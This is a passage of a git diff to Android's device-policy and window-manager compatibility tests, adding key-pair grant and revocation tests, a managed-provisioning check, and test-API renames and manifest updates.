+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_includesGrantedAtInstall() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ true);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
+                    .isEqualTo(Map.of(sDeviceState.dpc().process().uid(),
+                            singleton(sDeviceState.dpc().componentName().getPackageName())));
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_includesGrantedExplicitly() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS,
+                    sContext.getPackageName());
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
+                    .isEqualTo(Map.of(Process.myUid(),
+                            singleton(sContext.getPackageName())));
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void getKeyPairGrants_doesNotIncludeRevoked() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ true);
+            sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS,
+                    sDeviceState.dpc().componentName().getPackageName());
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS)).isEmpty();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void isKeyPairGrantedToWifiAuth_default_returnsFalse() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+                    .isFalse();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void isKeyPairGrantedToWifiAuth_granted_returnsTrue() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToWifiAuth(RSA_ALIAS);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+                    .isTrue();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = KeyManagement.class)
+    public void isKeyPairGrantedToWifiAuth_revoked_returnsFalse() {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToWifiAuth(RSA_ALIAS);
+            sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromWifiAuth(RSA_ALIAS);
+
+            assertThat(
+                    sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+                    .isFalse();
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void grantKeyPair_keyUsable() throws Exception {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName()
+            );
+
+            PrivateKey key = KeyChain.getPrivateKey(sContext, RSA_ALIAS);
+
+            signDataWithKey("SHA256withRSA", key); // Doesn't throw exception
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = KeyManagement.class)
+    public void revokeKeyPairFromApp_keyNotUsable() throws Exception {
+        try {
+            sDeviceState.dpc().devicePolicyManager().installKeyPair(
+                    DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+                    RSA_ALIAS, /* requestAccess= */ false);
+            sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName()
+            );
+            // Key is requested from KeyChain prior to revoking the grant.
+            PrivateKey key = KeyChain.getPrivateKey(sContext, RSA_ALIAS);
+
+            sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromApp(
+                    DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName());
+
+            // Key shouldn't be valid after the grant is revoked.
+            Assert.assertThrows(
+                    InvalidKeyException.class, () -> signDataWithKey("SHA256withRSA", key));
+        } finally {
+            // Remove keypair
+            sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+        }
+    }
+
+    private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        return sign.sign();
+    }
+
+    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+            android.security.KeyChainAliasCallback {
+
+        @Override
+        public void alias(final String chosenAlias) {
+            callbackTriggered(chosenAlias);
+        }
+    }
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
index d3d136d..758d794 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
@@ -68,7 +68,7 @@
 import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppActivity;
 import com.android.bedstead.testapp.TestAppActivityReference;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.ClassRule;
@@ -149,7 +149,7 @@
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
 
         try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create();
-             TestAppInstanceReference testApp = sTestApp.install()) {
+             TestAppInstance testApp = sTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager()
                     .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().any().start();
@@ -432,7 +432,7 @@
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
         sDeviceState.dpc().devicePolicyManager()
                 .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             activity.startLockTask();
@@ -460,7 +460,7 @@
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
         sDeviceState.dpc().devicePolicyManager()
                 .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{});
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             activity.activity().startLockTask();
@@ -487,7 +487,7 @@
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
         sDeviceState.dpc().devicePolicyManager()
                 .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             activity.activity().startLockTask();
@@ -515,7 +515,7 @@
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
         sDeviceState.dpc().devicePolicyManager()
                 .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
 
@@ -546,7 +546,7 @@
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
         sDeviceState.dpc().devicePolicyManager()
                 .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
             activity.stopLockTask();
@@ -571,7 +571,7 @@
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
         sDeviceState.dpc().devicePolicyManager()
                 .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
 
@@ -597,8 +597,8 @@
         sDeviceState.dpc().devicePolicyManager()
                 .setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{sTestApp.packageName(), sSecondTestApp.packageName()});
-        try (TestAppInstanceReference testApp = sTestApp.install();
-             TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
             Activity<TestAppActivity> activity2 = testApp2.activities().any().start();
@@ -630,8 +630,8 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager()
                         .getLockTaskPackages(DPC_COMPONENT_NAME);
-        try (TestAppInstanceReference testApp = sTestApp.install();
-             TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager()
                     .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
             Activity<TestAppActivity> firstActivity = testApp.activities().any().start();
@@ -662,8 +662,8 @@
         int originalLockTaskFeatures =
                 sDeviceState.dpc().devicePolicyManager()
                         .getLockTaskFeatures(DPC_COMPONENT_NAME);
-        try (TestAppInstanceReference testApp = sTestApp.install();
-             TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
                 sDeviceState.dpc().devicePolicyManager()
                         .setLockTaskPackages(DPC_COMPONENT_NAME,
@@ -703,8 +703,8 @@
         int originalLockTaskFeatures =
                 sDeviceState.dpc().devicePolicyManager()
                         .getLockTaskFeatures(DPC_COMPONENT_NAME);
-        try (TestAppInstanceReference testApp = sTestApp.install();
-             TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
                 sDeviceState.dpc().devicePolicyManager()
                         .setLockTaskPackages(DPC_COMPONENT_NAME,
@@ -742,8 +742,8 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sTestApp.install();
-             TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
                 sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{sTestApp.packageName(), sSecondTestApp.packageName()});
@@ -772,8 +772,8 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sTestApp.install();
-             TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
                 sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{sTestApp.packageName()});
@@ -802,7 +802,7 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             try {
                 sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{sTestApp.packageName()});
@@ -831,7 +831,7 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             try {
                 sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{});
@@ -854,7 +854,7 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().query()
@@ -884,7 +884,7 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{});
             Activity<TestAppActivity> activity = testApp.activities().query()
@@ -914,7 +914,7 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().query()
@@ -948,7 +948,7 @@
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().query()
@@ -1019,7 +1019,7 @@
                 sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures(DPC_COMPONENT_NAME);
         String emergencyDialerPackageName = getEmergencyDialerPackageName();
         assumeFalse(emergencyDialerPackageName == null);
-        try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
             sDeviceState.dpc().devicePolicyManager()
@@ -1059,7 +1059,7 @@
                 sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures(DPC_COMPONENT_NAME);
         String emergencyDialerPackageName = getEmergencyDialerPackageName();
         assumeFalse(emergencyDialerPackageName == null);
-        try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
                     DPC_COMPONENT_NAME, new String[]{sLockTaskTestApp.packageName()});
             sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(DPC_COMPONENT_NAME,
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java
new file mode 100644
index 0000000..00475eb
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class ManagedProvisioningTest {
+
+    private static final String MANAGED_PROVISIONING_PKG = "com.android.managedprovisioning";
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @RequireFeature(FEATURE_DEVICE_ADMIN)
+    public void managedProvisioning_isInstalledInSystemImage() throws Exception {
+        assertThat(TestApis.packages().find(MANAGED_PROVISIONING_PKG).hasSystemFlag()).isTrue();
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
index 3994a10..5f4bacb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
@@ -34,6 +34,8 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.testng.Assert.assertThrows;
+
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.AfterClass;
@@ -49,7 +51,7 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.notifications.NotificationListener;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import com.google.common.collect.ImmutableSet;
@@ -114,7 +116,7 @@
             ).wherePermissions().doesNotContain(
                     NOT_DECLARED_PERMISSION
             ).get();
-    private static TestAppInstanceReference sTestAppInstance;
+    private static TestAppInstance sTestAppInstance;
 
     @BeforeClass
     public static void setupClass() {
@@ -557,7 +559,7 @@
     }
 
     @Test
-    @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class)
+    @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class, includeNonDeviceAdminStates = false)
     public void grantSmsPermission_cannotBeApplied_returnsTrueButDoesNotSetGrantState() {
         int existingGrantState = sDeviceState.dpc().devicePolicyManager()
                 .getPermissionGrantState(sDeviceState.dpc().componentName(),
@@ -583,6 +585,15 @@
     }
 
     @Test
+    @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class, includeNonDeviceAdminStates = false)
+    public void grantSmsPermission_nonDeviceAdmin_throwsException() {
+        assertThrows(SecurityException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        READ_SMS, PERMISSION_GRANT_STATE_GRANTED));
+    }
+
+    @Test
     @CannotSetPolicyTest(policy = SetSensorPermissionGranted.class)
     public void grantSensorPermission_cannotBeApplied_returnsTrueButDoesNotSetGrantState() {
         // TODO(b/188893663): Replace with parameterization
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
index c31cc34..37c9bdb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
@@ -41,7 +41,7 @@
 import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
 import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.After;
@@ -185,7 +185,7 @@
     }
 
     private Bitmap takeScreenshotExpectingFailure() {
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             testApp.activities().any().start();
             return Poll.forValue(mUiAutomation::takeScreenshot)
                     .timeout(Duration.ofSeconds(60))
@@ -195,7 +195,7 @@
     }
 
     private Bitmap takeScreenshotExpectingSuccess() {
-        try (TestAppInstanceReference testApp = sTestApp.install()) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             testApp.activities().any().start();
             return Poll.forValue(mUiAutomation::takeScreenshot)
                     .toNotBeNull()
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
index f3873bb..3610ac4 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
@@ -31,7 +31,7 @@
 import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
 import com.android.bedstead.harrier.policies.SupportMessage;
 import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
-import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
 
 import org.junit.After;
 import org.junit.Before;
@@ -67,8 +67,8 @@
 
     @Before
     public void setUp() {
-        RemoteDpc dpc = sDeviceState.dpc();
-        mAdmin = dpc.devicePolicyController().componentName();
+        RemotePolicyManager dpc = sDeviceState.dpc();
+        mAdmin = dpc.componentName();
         mDevicePolicyManager = dpc.devicePolicyManager();
     }
 
@@ -195,7 +195,8 @@
     }
 
     @Test
-    @CannotSetPolicyTest(policy = SupportMessage.class)
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
     @Postsubmit(reason = "new test")
     public void getLongSupportMessage_invalidAdmin_fails() {
         assertThrows(SecurityException.class, () ->
@@ -203,7 +204,8 @@
     }
 
     @Test
-    @CannotSetPolicyTest(policy = SupportMessage.class)
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
     @Postsubmit(reason = "new test")
     public void setLongSupportMessage_invalidAdmin_fails() {
         assertThrows(SecurityException.class, () ->
@@ -211,7 +213,8 @@
     }
 
     @Test
-    @CannotSetPolicyTest(policy = SupportMessage.class)
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
     @Postsubmit(reason = "new test")
     public void getShortSupportMessage_invalidAdmin_fails() {
         assertThrows(SecurityException.class, () ->
@@ -219,7 +222,8 @@
     }
 
     @Test
-    @CannotSetPolicyTest(policy = SupportMessage.class)
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
     @Postsubmit(reason = "new test")
     public void setShortSupportMessage_invalidAdmin_fails() {
         assertThrows(SecurityException.class, () ->
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index 565dc4a..c636a4f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -45,7 +45,7 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 import com.android.queryable.queries.StringQuery;
 
@@ -188,7 +188,7 @@
 
         sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
                 Arrays.asList(testAppPackageName));
-        try (TestAppInstanceReference instance = sTestApp.install()) {
+        try (TestAppInstance instance = sTestApp.install()) {
             instance.activities().any().start();
 
             sActivityManager.forceStopPackage(testAppPackageName);
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index b3b6094..14856b3 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -514,6 +514,22 @@
                   android:exported="true"
                   android:taskAffinity=".TaskFragmentB.embeddedTask"
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+        <activity android:name="android.server.wm.SplitActivityLifecycleTest$TranslucentActivity"
+                  android:exported="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+                  android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+
+        <activity android:name="android.server.wm.HostActivity"
+                  android:exported="true">
+               <intent-filter>
+                 <action android:name="android.server.wm.app.HostActivity"/>
+               </intent-filter>
+               <intent-filter>
+                 <action android:name="android.intent.action.MAIN"/>
+                 <category android:name="android.intent.category.LAUNCHER"/>
+               </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 55b1df4..fbbbbca 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -398,11 +398,11 @@
              android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrActivity"
+             android:configChanges="keyboard|keyboardHidden|navigation"
              android:showWhenLocked="true"
              android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
-             android:configChanges="keyboard|keyboardHidden|navigation"
              android:showWhenLocked="true"
              android:exported="true"/>
 
@@ -573,14 +573,9 @@
            </intent-filter>
         </service>
 
-        <activity android:name=".HostActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.server.wm.app.HostActivity"/>
-            </intent-filter>
-        </activity>
         <service android:name=".RenderService"
-             android:process=".render_process"/>
+             android:process=".render_process"
+             android:exported="true"/>
         <activity android:name=".ClickableToastActivity"
              android:exported="true"/>
         <activity android:name=".MinimalPostProcessingActivity"
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 1dfb795..79499f7 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -579,6 +579,12 @@
 
     public static class RenderService {
         public static final String PROCESS_NAME = ".render_process";
